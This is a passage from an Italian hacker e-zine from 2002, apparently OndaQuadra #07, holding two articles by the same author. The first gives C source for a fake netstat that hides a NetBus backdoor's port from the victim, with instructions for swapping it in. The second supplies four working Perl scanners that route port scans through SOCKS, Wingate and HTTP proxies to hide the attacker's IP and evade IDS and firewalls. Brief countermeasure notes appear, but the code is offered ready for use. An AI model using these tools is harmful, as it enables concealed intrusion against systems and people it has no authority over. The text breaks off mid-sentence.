| | | IP della mail spudoratamente iniziante co 151.x.x.x e quindi | | appartenente alla rete infostrada.... Ma bene...il dott.Rossi di | | telecom che manda una mail da infostrada... patteggiamenti e/o scoop | | di fusioni commerciali? | | Ma no... il solito birbaccione che eleva il suo personal-skill | | da -10 a -9 ... | | P.s. la mail mi era stata recapitata l'anno scorso e l'ho | | conservata per farci 4 risate dopo aver letto i post su F.I.H | | e F.I.H.C. ... | | | | Ma ora veniamo al dunque... | | oltre ad avere questi birbaccioni di cui non ci preoccupiamo... | | abbiamo anche qualcuno di piu' serio che sperandoci sprovvisti | | di antivirus e firewall, o usando una delle classiche tecniche | | per nascondere virus e/o trojan al nostro antivirus, o ancora | | meglio creando un trojan o uno script che disattivi l'antivirus | | (altro bug a riguardo scoperto di recente per il quale ancora | | mooooolte software house di antivirus non sono ancora aggiornate | | credendolo innocuo..) tentera' di farci eseguire il classico | | programmino che andra' ad installarci il mitico NetBus ,o il tecnico | | Sub7, o il piu' complesso BO... | | | | Bene, lo eseguira' e avra' modo di connettersi all'host ma... [ e qui | | viene il punto dell'articolo] il figaccione che sta dietro l'host | | e che guardacaso si sente sicuro perche' ha letto tutto il manuale | | di Lord Shinva d'un fiato uscira' con la frase che fa da tema del | | presente articolo: " Ma si', ed anche se fosse...tanto io c'ho il | | netstat e so fare audit del mio pc per vedere tutte le connesioni | | con l'esterno quando voglio...quindi hai vita breve lamah!" | | | | | | E QUI CI CASCA L'ASINO... | | | | | | /* Inizio articolo vero e proprio */ | | | | In quanti sanno usare il netstat per dare occhiata alle connessioni | | in rete del proprio pc? penso proprio tutti, almeno tu che stai | | leggendo questo articolo... se no che lo leggi a fare? | | | | Bene, il programma netstat, presente su ogni piattaforma che opera | | in rete, costituisce una risorsa preziosa in quanto e' in grado di | | visualizzare informazioni sulle connessioni di rete: rilevando il | | protocollo su cui si basano (tcp o udp), l'indirizzo locale, quello | | remoto e lo stato della connessione stessa. | | Come sappiamo per ottenere informazioni sulle connessioni in corso | | basta semplicemente digitare *netstat* dal prompt dei comandi. | | | | Netstat, sebbene utile anche per monitorare connessioni sospette | | (vedi il nostro amico di prima.....), non e' infallibile. | | E' anche possibile *fondere due programmi in uno...o piu'.. | | Magari uno che disattiva l'antivirus con un software normale... | | Ma se invece l'attacker risultasse un tipo *serio* e decidesse | | di compromettere la visualizzazione della connessione con la backdoor | | in modo da tenercela nascosta? | | Anche l'utente smaliziato che si fa figo in chat spiegando | | come inviare mail anonime (vedi l'amico sopra...) rimarrebbe fregato. | | Ma purtroppo questo problema affligge anche l'utente inesperto e / | | o l'utente a cui non frega niente della sicurezza, ma usa il pc solo | | per scaricarsi Wanna Marchi e lavorare.. | | | | Voi direte sicuramente... ma va..non dir cazzate..me ne accorgerei.. | | | | E invece no. Qui sta il problema. La sottovalutazione di questo | | fenomeno che da gia un vantaggio all'attacker. | | Tant'e' ke la compromissione di netstat e' uno dei punti onnipresenti | | di ogni rootkit serio. | | | | Tempo fa, su irc, mi e' capitato per caso di fare una scannata col | | fido nmap su un IP di un amico del chan #messengers_of_fear che mi | | aveva appena mandato un file.... e che ti trovo? | | Bene...trovo oltre al resto, 2 belle porte aperte con a fianco una | | dicitura, la quale diceva: | | | | Port State Service | | 12345/udp open NetBus | | 12346/udp open Netbus | | | | Dopo averlo comunicato all'amico incredulo del quale non faccio nome | | per non sputtanarlo..( :P ) ... lui ha guardato col netstat dicendomi | | spavaldo che la mia linuxbox era in errore... la sua WindozeBoxer non | | dava nessuna connessione col netbus... | | | | Poi alla fine mi ha creduto..e tutto ciò mi e' capitato gia 2 volte.. | | quindi non e' tanto raro.. | | | | | | | | /* tecnica di compromissione */ | | | | Ma come avviene tutto cio'? | | Semplice, con 70 righe di codice(c.ca) ed una rinominata di file. | | Supponiamo di rinominare (tramite script/lo stesso progr o altro...) | | il vero netstat come setup.exe e di spostarlo nella r00t di Windoze | | ( C:\ ).. | | In questo caso, ottenuto il nome della cartella in cui e' installato | | il sistema operativo (di solito c:\windows ) tramite la call alla | | GetWindowsDirectory(), il programma esegue "setup.exe", che e' il | | vero netstat, rinominato e spostato nelle dir radice. | | Questo programma verra' filtrato ed analizzato dal nostro programmino | | che ora si chiamera' netstat.exe .... | | Vediamo il programma: | | | | ---------------------[cut-here]---------------------------- | | /* < - > fake-netstat.c < - > */ | | /* Windoze version 02/2002 */ | | /* */ | | /* This source is only an example of how netstat */ | | /* can be easely compromised by filter its output */ | | /* givin' to an attacker the possibility to hide himself */ | | /* from the connection's listers.. */ | | /* In this explicit example the program will hide you */ | | /* from the port12345 ( netbus's default port) */ | | /* */ | | /* Coded by SNHYPER snhyper@hotmail.com */ | | /* */ | | | | #include | | #include | | #include | | #include | | | | | | #define MAX 256 | | #define BANNER "This is only an example! ..::SNHYPER::.." | | | | | | int main(int argc, char *argv[]) | | { | | char WinDir[MAX]; | | char buf[MAX] ; | | char *p ; | | FILE *fp ; | | int i ; | | | | GetWindowsDirectory(WinDir, MAX); | | p = strtok(WinDir, "\\"); | | strcat(p,"\\setup.exe") ; | | | | i = 1; | | | | if (argc != 1) | | { | | for(;i log"); | | system(p); | | Sleep(2000); | | | | fp = fopen("log", "r"); | | | | while(!feof(fp)) | | { | | fgets(buf,MAX, fp); | | | | if(strstr(buf, "12345")==NULL) | | printf("%s",buf); | | | | else continue; | | } | | | | puts(BANNER); | | | | fclose(fp); | | DeleteFile("log"); | | | | return 0; | | } | | | | /* The-End */ | | ----------------------[cut-here]-------------------------------- | | | | | | /* come ovviare al problema? */ | | | | Un indizio a destare sospetto e' l'aumento del tempo necessario | | all'esecuzione, dovuto alla Sleep() che attende 2.5 secondi prima di | | recuperare e filtrare l'output di netstat,reindirizzato verso il file | | "log". | | | | L'unica possibilita' per accorgersi dello scambio e'di verificare | | la differenza nelle dimensioni di Netstat che passa da 27.2 Kb c.ca | | ai 36 Kb c.ca. E' anche riscontrabile un blocco, a causa del | | reindirizzamento, quando si usa l'opzione di ripetizione del comando | | ogni tot secondi ( es. c:\> netstat 5 ). | | | | Altro ancora e' tenere sottocchio netstat in modo tale da avvertirvi | | se dovesse essere rinominato e/o dovessero cambiare le dimensioni... | | Tutto cio' e' molto semplice da fare...basta usare un po' di batch, | | o di C , o di Perl... e farlo eseguire ogni tot tempo ( simil crond, | | v.di LINUX!!!!!) In questo modo avete sottocontrollo la situazione, | | almeno questa.. | | | | | | Se l'attacker fosse piu'ù skillato ancora, renderebbe la situazione | | piu' raffinata sostituendo la dynamic-link dll ( inetmib1.dll) con | | una versione fake.... | | | | | | Dunque, o Voi specialisti del netstat, spero abbiate capito come esso | | non sia sufficiente nel caso in cui Vi troviate ad avere a che fare | | con un attacker dallo skill elevato.. | | | | Ultima frase ed ultimo messaggio che vorrei dare... passate a | | Linux. Solo col pinguino avrete veramente delle soddisfazioni sotto | | tutti i campi! | | Beh..non solo col pinguino, anche col pesciolino... | | [profani! pesciolino -> openBSD] | | | | | | | | -- | | ..::SNHYPER::.. | | Security Developer | | | | /* */ | | /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ | | /* :raptor, Morpheo, SirPsychoSexy, embyte, */ | | /* MoF, UIHA e..chi manca ma si sente incluso */ | | /* */ | | /* Phrack, Bfi, Whitepages varie, OndaQuadra */ | | /* */ | | /* */ | | /* Fucks to : anyone */ | | /* */ | | /* */ | | /* NON NELLA CONOSCENZA STA IL POTERE, */ | | /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!" */ | | /* */ | | /* */ | | /* */ | | /* ..::SNHYPER::.. */ | | /* snhyper@hotmail.com */ | | /* "Security Developer" */ | | /* Linux registered user #249109 */ | | /* Linux registered machine #133922 */ | | /* */ | | | | | | -----BEGIN PGP PUBLIC KEY BLOCK----- | | | | mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk | | HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF | | Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q | | nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ | | 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW | | dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 | | 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S | | SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU | | EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z | | yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 | | LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U | | ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K | | =uAC7 | | -----END PGP PUBLIC KEY BLOCK----- | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 | | PASSi SiLENZi0Si NELLA NEVE [SNHYPER] 0x06/0x19 | +--------------------------------------------------------------------------+ | snhyper@Charlotte2:~$ echo `date` | | Tue Mar 19 20:23:05 CET 2002 | | | | | | Questo articolo vuole dimostrare come sia possibile eseguire un portscan | | attraverso un IDS o firewall senza venire sgamati. | | Potrebbe offrire anche ad un attacker molte altre possibilita' per | | raggirare firewall, dandogli quindi diversi vantaggi. | | Questo articolo non e' riguardante lo stack TCP/IP o altri protocolli a | | basso livello, bensi' si incentrera' sui protocolli ad alto livello, o | | meglio sul loro *abuso* per raggiungere la meta. | | Inseriro' diverse parti di codice in Perl e discutero' anche delle | | possibili contromisure a cio'. | | Inoltre come per ogni buon articolo troverete allegati i sorgenti dei 4 | | programmi perfettamente funzionanti e ben oliati ad uopo.Oddio...oliati. | | diciamo che sono si funzionanti ed ok, ma si potrebbero comunque | | implementare aggiungendo possibilita' di multithreading e/o selezioni | | random che non ho aggiunto ma che sicuramente se l'articolo suscitera' | | interesse faro' in un prossimo futuro in modo tale da avere un vero tool | | perfettamente oliato per l'uso ;). In ogni caso lo scopo dell'articolo | | e'la dimostrazione di un metodo di scansione particolare, non la | | creazione di un programma, quindi sleep().. | | | | | | | | Mi sono scontrato con questo progetto quando una volta ebbi avuto | | bisogno di concludere scansioni full-open con un sistema,al quale | | chiaramente non volevo lasciare in bella mostra il mio IP,e per il | | quale non avrei voluto passare *fisicamente* attraverso wingate, socks | | etc.. | | Sarebbe dovuto essere il piu' portabile possibile, e avrebbe dovuto | | funzionare anche senza la possibilita' di creare pacchetti IP con le raw | | socket ( come ad esempio su alcui sistemi Windoze o Linux senza | | privilegi di root). | | Avrebbe dovuto avere quindi le proprieta' di un *FTP bounce scan*, che | | appunto usa un server FTP per avere le informazioni desiderate ( ad es. | | con nmap). | | | | | | | | Il protocollo FTP ci permette di connetterci ad un server FTP e farlo | | connettere al nostro computer, quindi ci permette di forzare il server a | | connettersi a noi. Dato che in questo modo e' possibile farlo connettere | | a qualsiasi porta e' evidente come, analizzando i messaggi di ritorno | | del server FTP,sia altrettanto possibile stabilire se una porta e'in | | ascolto, in attesa di dati, o e' chiusa. | | Questo tipo di scansione e' solitamente eseguita settando inizialmente | | IP e porta con il comando PORT, e quindi inizializzando un trasferimento | | (usando una richiesta LIST o GET ad esempio). | | Se dovesse ritornare un "425 Can't build data connection: connection | | refused", chiaramente intenderemo la porta come chiusa. | | Ritornera' invece un 150 e un 226 indicando che e' in corso un tentativo | | di connessione ad una porta aperta. Per usare questo tipo di scansione, | | come ho detto prima, potete usare nmap (http://www.insecure.org/nmap) | | con in aggiunta l'opzione "-b" (che sta appunto per bounce,vedere man | | nmap). | | Il problema e' che da un po' di tempo molti server FTP non permettono | | il suddetto tipo di scansione. | | In che modo? Facile, controllando a priori se la porta alla quale sta | | per connettersi e' veramente un client FTP; se non lo e' ritornera' il | | medesimo errore 425 indicando l'impossibilita' di connettersi. | | Quindi bisogna ingegnarsi e trovare un'altra soluzione... | | | | | | Questo tipo di scansione verso un host ha anche notevoli svantaggi. | | Ad esempio non da la possibilita' ad un attaccker di catturare i banner | | durante la scansione, metodo molto usato durante il *fingerprinting* per | | raccimolare informazioni sui vari demoni in servizio, e quindi poi | | codare tools per exploitarli automaticamente. In piu' una scansione | | full-open risulta molto rumorosa, e quindi loggata da tutti gli IDS, | | firewall e anche dalle macchine di utenti smaliziati. | | | | | | La prima idea che mi e' venuta in mente e' stata quella di avvalermi | | dei proxy. Sicuramente in molti avranno avuto la stessa idea ma..visto | | che non ho trovato materiale a riguardo... Insomma: l'uomo..-> | | somatizza. | | I proxy sono molto usati quando si ha la necessita' di mascherare il | | proprio IP quando ci si sta connettendo dalla nostra LAN ad un'altra | | rete dove i router controllano il traffico. | | Svariati socks proxy sono disponibili gratuitamente per tutti e sono | | usati anche per le sessioni IRC, per bot etc.... | | ( http://www.cyberarmy.com ; http://www.proxy4all.net ; etc...) | | | | | | Cosi' ho codato velocemente uno script in Perl che connette | | semplicemente server socks 4 o 5 , quindi prova a connettersi all'host | | target. | | Nel caso in cui riceva un errore, intendiamo la porta chiusa. | | Se riceviamo un "connection estabilished", intendiamo la porta aperta | | | | | | | | ______________ sforbicia qui __________________________________________ | | | | #!/usr/bin/perl # | | # Usage : | | # | | # totalscan.pl [socks-proxy][s/p-port] [ip_target] [start_port] | | [end_port] | | # | | # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 | | # | | # You can implement this tool, but remember to include author's name ok? | | # To use SOCKS lib you must download and install SOCKS module. | | # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- | | search.html | | | | use Net::SOCKS; | | | | # Check if cmd is OK...if not, print Usage | | if ( @ARGV < 5 ) | | { | | print "\n --------TOTALSCAN---2002------\n"; | | print "\nThis tool performs a portscan which,\n"; | | print "going over socks and/or proxy servers,\n"; | | print "is able to hide your IP from IDS and FW;\n"; | | print "if possible is also able to see blocked ports\n\n"; | | print "Coded by ..:: SNHYPER ::.. \n"; | | print " * [ snhyper\@hotmail.com ] *\n\n "; | | print " Usage:\n"; | | print "totalscan.pl [socks-proxy] [s/p-port] [target] [start_p] | | [end_p]\n\n"; | | exit; | | } | | | | # define variable | | | | $proxy = @ARGV[0]; | | $p_port = @ARGV[1]; | | $target = @ARGV[2]; | | $start = @ARGV[3]; | | $end = @ARGV[4]; | | | | # prassi.. :) | | | | print "totalscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; | | print "Let's go..scanning target: $target ... \n"; | | | | #initializin' socket | | | | my $sock = new Net::SOCKS ( socks_addr => $proxy , | | socks_port => $p_port, | | protocol_version => 4 ); | | | | # start scanning | | | | for ( $i = $start; $i <= $end; $i++ ) | | { | | $sd = $sock -> connect( peer_addr => $target, peer_port => $i ); | | | | if ( $sock -> param('status_num') == SOCKS_OKAY ) | | { | | print ".. Yeah .. Found port opened : __ $i __\n"; | | | | | | | | } | | | | $sock -> close(); | | } | | | | print "\n -_-_-_- totalscan finished -_-_-_-\n"; | | | | | | _______________________sforbicia qui___________________________________ | | | | | | | | Come e' possibile notare il programma usa il modulo Net::SOCKS che non | | avrete in una distro con moduli perl di default, quindi dovrete | | scaricarvelo e installarlo dall'url inserito nel source. | | Ricordo per chi non lo sapesse che il metodo di installazione di un | | modulo in perl e' il seguente: | | | | $ tar zxvf modulo.tar.gz | | $ cd modulo | | $ perl Makefile.PL | | $ make | | $ make test | | # make install | | | | | | Per ogni altro riferimento... il classico | | | | $ perldoc | | | | Scannando un host da un altro IP, un attacker e' in grado di raggirare | | firewall usando un socks proxy. Se il proxy e' all'interno di un range | | di IP privilegiato, il firewall consentira' di essere bypassato. | | E' anche possibile e divertente far scannare se stessi ai socks proxy | | usando il classico IP dell'hacker cattivo, ovvero localhost(127.0.0.1); | | potrete notare come molte volte riesca a bypassare i settaggi dei fw | | locali.Kiaramente non funzionera' su tutti i tipi di socks proxy in | | quanto alcuni sono settati intelligentemente in modo da rifiutare | | connessioni verso e da indirizzi loopback o localhost. | | | | | | | | E' molto utile per scannare anonimamente un host, ma come puo' essere | | utilizato per gli IDS? Molti Intrusion Detection Systems sono settati | | per allarmarsi ed allarmare il sysadmin) quando si supera un limite di | | connessioni dallo stesso IP verso porte,in uno specific spazio di tempo. | | di tempo. Per questo molti usando la famosa opzione *paranoid* di nmap | | che testa una porta ogni 5 minuti c.ca per non far insospettire l'IDS | | | | # Dalla man di nmap: | | # Para noid mode scans very slowly in the hopes of avoiding detection | | # by IDS systems.It serializes all scans (no parallel scanning) and | | # generally waits at least 5 minutes between sending packets. | | | | Poi bisogna contare anche sui notevoli "falsi positivi e falsi | | negativi". | | Liste di socks e proxy si trovano dappertutto in rete quindi potrete | | facilmente modificare lo script,o semplicemente inserirlo a sua volta in | | uno script di bash in modo da fargli usare un socks diverso x ogni | | porta, meglio se in random.In questo modo l'IDS non logghera' alcunche' | | (nel 90%dei casi) in quanto le connessioni provengono da differenti | | host della rete; e comunque anche se proprio dovesse loggare | | qualcosa...di certo non logghera' noi. | | Questo permettera' all'attacker di usare un *distribuited scan* senza | | ricorrere all'installazione di trojan per scannare da altri host. | | | | | | | | Potrebbe sorgere la seguente domanda:"Ma che differenza c'e' tra questo | | tipo di scansione, ed una normale non distribuita?" | | Bene, quando avviene una connessione su una singola porta di una | | macchina target, quasi nessun IDS pensera' ( essendo un sistema di | | sicurezza proattiva) di star subendo un attacco, e quindi non prendera' | | le contromisure impostate, ovvero mail di qua e di la, chiusure | | temporanee etc.. etc... a seconda della paranoia dell'admin, o del tipo | | di target nel quale l'attacker si sta imbattendo. | | Ma nel momento in cui ci si connette a molte porte in pochissimo tempo, | | ogni IDS decente ( e cosi' firewall e host decenti...) capiranno subito | | che si tratta di un portscan di qualke novello, attuando cosi' le | | contromisure di sicurezza. ( v.di scansione *insane* di nmap.. ). | | Vi posso dire che in quanto ad IDS ci sono molte scuole di pensiero, o | | meglio in quanto a settaggio di IDS. | | Questo perche', come e' facilmente intuibile, aumentando la sicurezza | | aumenta proporzionalmente la rottura di p...e di controllare i vari log | | (anch'essi aumentati proporzionalmente), di ricevere mail con falsi | | allarmi, di sentirsi suonare il cercapersone di notte mentre magari si | | e' sotto le coperte con la donna per uno script kiddye che ci da dentro | | di Hail Scan (del buon antirez).Quindi purtroppo, in poche parole, la | | cosa funziona cosi':maggiore sicurezza =>minore usabilita' =>no script | | kiddye; maggiore usabilita' =>minore sicurezza =>facciamo festa. | | La seconda e' la maggiore implementazione di questi tempi per la gran | | parte dei sistemi. | | Quindi cio' che faremo sara' di far connettere un host per porta, o al | | massimo un host per pochissime porte in modo tale da non far | | insospettire l'IDS.Ogni host si connettera' a poche porte dopo aver | | atteso un po' di tempo per cercare ancora dalla lista. | | | | | | __________________zaffa qui___________________________________________ | | | | | | #!/usr/bin/perl # | | # Usage : | | # | | # noidsscan.pl [list-file] [ip_target] [start_port] [end_port] | | # | | # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 | | # | | # You can implement this tool, but remember to include author's name ok? | | # To use SOCKS lib you must download and install SOCKS module. | | # You can do this from: http://theoryx5.uwinnipeg.ca/CPAN/cpan- | | # search.html | | | | use Net::SOCKS; | | | | # Check if cmd is OK...if not, print Usage | | | | if ( @ARGV < 4 ) | | { | | print "\n ------NOIDSSCAN------2002---\n"; | | print "\nThis tool performs a portscan which,\n"; | | print "going over socks and/or proxy servers\n"; | | print "and connecting from various IP to various\n"; | | print "port in different range of time, will try\n"; | | print "to defeat IDS *sentinel* ... \n\n"; | | print "Coded by ..:: SNHYPER ::.. \n"; | | print " * [ snhyper\@hotmail.com ] *\n\n "; | | print " Usage:\n"; | | print "noidsscan.pl [list-file][ip_target][start_port][end_port] | | \n\n"; | | exit; | | } | | | | # initializin' variable | | | | $list = @ARGV[0]; | | $target = @ARGV[1]; | | $start = @ARGV[2]; | | $end = @ARGV[3]; | | | | | | # prassi =) | | | | print "noidsscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; | | print "Let's go..scanning target: $target ... \n"; | | | | # access to the file | | | | open( FILE, "<$list"); | | @proxylist = ; | | close FILE; | | | | $x = -1; | | | | for ( $i = $start; $i <= $end; $i++ ) | | { | | $x++; | | if( $x <= ( @proxylist ) ) | | { | | $x = 0; | | } | | ( $proxy, $p_port ) = split( ";", @proxylist[$x]); | | | | my $sock = new Net::SOCKS(socks_addr => $proxy, | | socks_port => $p_port, | | protocol_version => 4 ); | | | | $sd = $sock -> connect( peer_addr => $target, peer_port => $i); | | | | if ( $sock -> param('status_num') == SOCKS_OKAY ) | | { | | print ".. Yeah .. Found port opened : __ $i __\n"; | | | | | | | | } | | | | $sock -> close(); | | } | | | | print "\n -_-_-_- NoIDSScan finished -_-_-_-\n"; | | | | | | ___________________zaffa qui__________________________________________ | | | | | | | | Un esempio di lista di proxy puo' essere la seguente: | | | | proxy1.com:1080 | | proxy2.org:8080 | | proxy3.net:80 | | | | | | Come potete vedere e' abbastanza facile usando queste tecnike | | implementaruno scanner distribuito.Certamente risultera' lento ma | | potrebbe essere possibile avviare piu' thread in modo da distribuire il | | lavoro rislutando + veloce. In questo modo sarebbe l'ideale una lista | | numerosa di proxy in modo da non ripeterli troppo frequentemente, | | facendo scattare l'IDS. | | E' bene sapere anche che pero' un attacker serio, non fara' tutto cio' | | dal suo computer di casa...anche perche' molti socks e proxy loggano | | loro stessi le connessioni....quindi in caso di IDS alarm,il sysadmin | | potrebbe risalire all'history dei proxy fino a risalire a voi (cosa un | | po' remota, raramente ci si muove per uno scan..) | | | | | | C'e' da dire anche che i socks e i proxy non sono cmq l'unica risorsa di | | raccolta di informazioni. | | Potremmo benissimo usare i mitici Wingates per lo stesso scopo e con lo | | stesso effetto. Come sapete i Wingates sono altrettanto pubblici in | | inet, abbastanza facilmente trovabili,e molte volte gli admin sono | | talmente distratti da lasciarli incautamente senza password... in | | questo modo possono facilmente esere (ab)usati per fare portscanning ed | | altro. | | Resta il fatto che in molti comunque loggano anche se l'opzione dei log | | non e' settata di default. Quindi e' sempre bene passare da una "casa in | | affitto" in ogni caso. | | | | | | __________________Smonta qui__________________________________________ | | | | | | #!/usr/bin/perl # | | # Usage : | | # | | # bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] | | # | | # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 | | # | | # You can implement this tool, but remember to include author's name ok? | | # | | | | | | use IO::Socket; | | | | if(@ARGV < 5) | | { | | print "\n ------BYGATESCAN------2002---\n"; | | print "\nThis tool performs a portscan which,\n"; | | print "using a wingate proxy server, is able\n"; | | print "to hide your real IP address from target.\n\n"; | | print "Coded by ..:: SNHYPER ::.. \n"; | | print " * [ snhyper\@hotmail.com ] *\n\n "; | | print " Usage:\n"; | | print "bygatescan.pl [ip_wingate] [w_port] [ip_target] [s_port] | | [end_port]\n\n"; | | exit; | | } | | | | $wingate = @ARGV[0]; | | $w_port = @ARGV[1]; | | $target = @ARGV[2]; | | $start = @ARGV[3]; | | $end = @ARGV[4]; | | | | print "bygatescan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; | | print "Let's go..scanning target: $target ... \n"; | | | | for( $i = $start; $i <= $end; $i++ ) | | { | | print ("Checking port: __ $i __ ..."); | | | | $sd = IO::Socket::INET -> new( PeerAddr => $wingate, | | PeerPort => $w_port , | | Proto => "tcp" ) || | | die "is better to change wingate...maybe is | | down..\n"; | | | | $send = "$target:$i\n"; | | print $sd "$send"; | | | | $x = " "; | | read $sd, $x, 150; | | | | if( $x =~"Connected" ) | | { | | print "Yeah..port is open!\n"; | | print "And the banner is:\n\n"; | | print "$x\n"; | | } | | else { | | print "Mmm..this port result closed\n; | | } | | | | close $sd; | | | | } | | | | | | _______________________________smonta qui______________________________ | | | | | | | | Ma non ci limiteremo a cio'. Andremo avanti ad analizzare un altro tipo | | di proxy server di cui e' possibile abusare per scannare reti. | | Tutto cio' che dobbiamo fare e' apportare qualke piccola modifica al | | sorgente del programma precedente. | | Anche i proxy HTTP permettono in genere a tutti connessioni ovunque si | | voglia. Naturalmente, come dovreste sapere, appena aver "scaricato" la | | pagina html o il banner chiudono direttamente la connessione con l'host | | target. Questo per noi non risulta comunque un problema, visto che non | | dobbiamo inviare dati; abbiamo la sola necessita' di scaricarci il | | banner e vedere se il servizio risulta attivo. | | | | | | | | Implementeremo un scanner che tramite una semplice richiesta di pagina | | HTTP GET sulla porta dell'obiettivo (che per noi fara' il proxy..), a | | seconda del ritorno ci indichera' la situazione attuale della porta. | | Il proxy quindi si connettera' al nostro obiettivo e ci riportera' la | | risposta: se fosse un "503 -Service unavailable", e' facile intuire che | | la porta risulterebbe chiusa. Nel caso in cui risultasse aperta il | | proxy, dopo essersi connesso, ci ritornera' la risposta del server. | | A questo punto pero' ci si presenta un problema: il proxy, una volta | | effettuata la connessione, non chiudera' la sessione con l'host target; | | dovremo quindi attendere che la stessa vada in time out per portarci a | | casa in nostro banner. Se invece non vogliamo prenderci il banner, | | potremmo semplicemente velocizzare le cose analizzando la risposta del | | server: attendiamo 5-10 secondi, quindi se la risposta e' un "503" | | assumiamo che òla porta sia chiusa, se no la consideriamo aperta. | | | | | | | | _______________________splitta qui________________________________ | | | | | | | | #!/usr/bin/perl # | | # Usage : | | # | | # byhttpscan.pl [ip_wingate] [w_port] [ip_target] [s_port] [end_port] | | # | | # by ..::SNHYPER::.. { snhyper@hotmail.com } 01-'02 | | # | | # You can implement this tool, but remember to include author's name ok? | | # | | | | | | use IO::Socket; | | | | if(@ARGV < 5) | | { | | print "\n ------BYHTTPSCAN------2002---\n"; | | print "\nThis tool performs a portscan which,\n"; | | print "using a HTTP proxy server, is able\n"; | | print "to hide your real IP address from target.\n\n"; | | print "Coded by ..:: SNHYPER ::.. \n"; | | print " * [ snhyper\@hotmail.com ] *\n\n "; | | print " Usage:\n"; | | print "byhttpscan.pl [ip_proxy] [p_port] [ip_target] [s_port] | | [e_port]\n\n"; | | exit; | | } | | | | $proxy = @ARGV[0]; | | $p_port = @ARGV[1]; | | $target = @ARGV[2]; | | $start = @ARGV[3]; | | $end = @ARGV[4]; | | | | print "byhttpscan by ..::SNHYPER::.. [snhyper@hotmail.com] 2002\n\n"; | | print "Let's go..scanning target: $target ... \n"; | | | | for( $i = $start; $i <= $end; $i++ ) | | { | | print ("Checking port: __ $i __ ..."); | | | | $sd = IO::Socket::INET -> new( PeerAddr => $proxy , | | PeerPort => $p_port , | | Proto => "tcp" ) || | | die "is better to change HTTP proxy...maybe is | | down..\n"; | | | | $send = "GET HTTP:\/\/$target:$i\/ HTTP\/1.0\n\n\n\n"; | | print $sd "$send"; | | | | read $sd, $x, 30; | | | | if( $x !~"503" ) | | { | | print "Yeah..port is open!\n"; | | print "And the banner is:\n\n"; #commenta queste 2 linee se non | | print "$x\n"; #vuoi vedere il banner | | } | | else { | | | | print "Mmm..this port result closed\n; | | } | | | | close $sd; | | | | } | | | | | | ________________________________splitta qui________________________ | | | | | | | | Ora, l'unico problema che possiamo incontrare quando usiamo proxy HTTP | | e' il range di porte da scannare; ovvero, gran parte dei proxy server, | | se settati correttamente non sempre permettono connessioni in uscita | | verso tutte òle porte, ma di solito solo da 80 e oltre la 1024. | | Potremme risolvere la cosa aggiungendo nel programma precedente un | | controllo di uscita, ovvero controllare se effettivamente il proxy | | instaura una connessione con l'obiettivo. | | | | | | | | Come abbiamo potuto vedere,un attacker,bene o male intenzionato che sia, | | ha diverse strade per raggiungere lo scopo: potrebbe quindi facilmente | | mapparsi intere reti in cerca di porte aperte e/o servizi conosciuti e | | familiari da exploitare; e tutto questo senza essere identificato da IDS | | e firewall grazie al *distribuited scan*. | | In aggiunta, l'attacker ha anche la possibilita' si bypassare i settaggi | | dei firewall e dei proxy servers, cosi' come di altri servers, | | semplicemente utilizzando un indirizzo compreso in un range di IP di | | classi privilegiate alle quali e' consentito passare. | | | | | | | | Ma cosa possiamo fare per rimediare a tutto cio'? | | Tutti i protocolli proxy hanno una opzione che permette di settare user | | e passwd per potersi agganciare ed uscire; questo e' cmq un settaggio | | molto poco usato. | | Per quanto riguarda invece gli Intrusion Detection Systems potrebbero | | essere riconfigurati non allarmandosi per plurisessioni da un singolo | | IP, | | bensi' in modo tale da allarmarsi quando vengono rilevati troppi probes | | verso porte *chiuse* in un certo lasso di tempo.. | | Secondo la mia misera opinione, i distribuited scan* diverranno molto | | comuni,quindi ben presto IDS e FW saranno *istruiti* a rilevarli. | | | | | | | | Tutti i programmi che ho inserito , possono essere molto implementati | | ancora. Ad esempio includendo scan con threads multipli che | | velocizzarebbero il lavoro di un bel po'. | | Anche in perl la funzione che ci permette di "splittare" un processo in | | un processo padre ed un figlio e' la classica fork(), ma che | | purtroppo non conosco bene visto che prediligo la programmazione in C. | | Tant'e' che esistono programmi che arrivano anche a molti thread che | | lavorano in simultanea. L'ultimo prog di questo genere che ho testato, | | e che ritengo molto valido (se non uno dei + validi), e' Hydra dei "The | | Hacker's Choice". Hydra e' un bruteforcer sofisticato che permette scan | | a dizionario specifiche sistema per sistema: scansioni per porte telnet, | | porte ftp, router cisco etc.. permette addirittura di sfruttare ben 128 | | thread in imultanea, riducendo quindi di 128 volte il tempo che ci | | vorrebbe con un normale bruteforcer. | | E' pero' anche da considerare che servirsi di 128 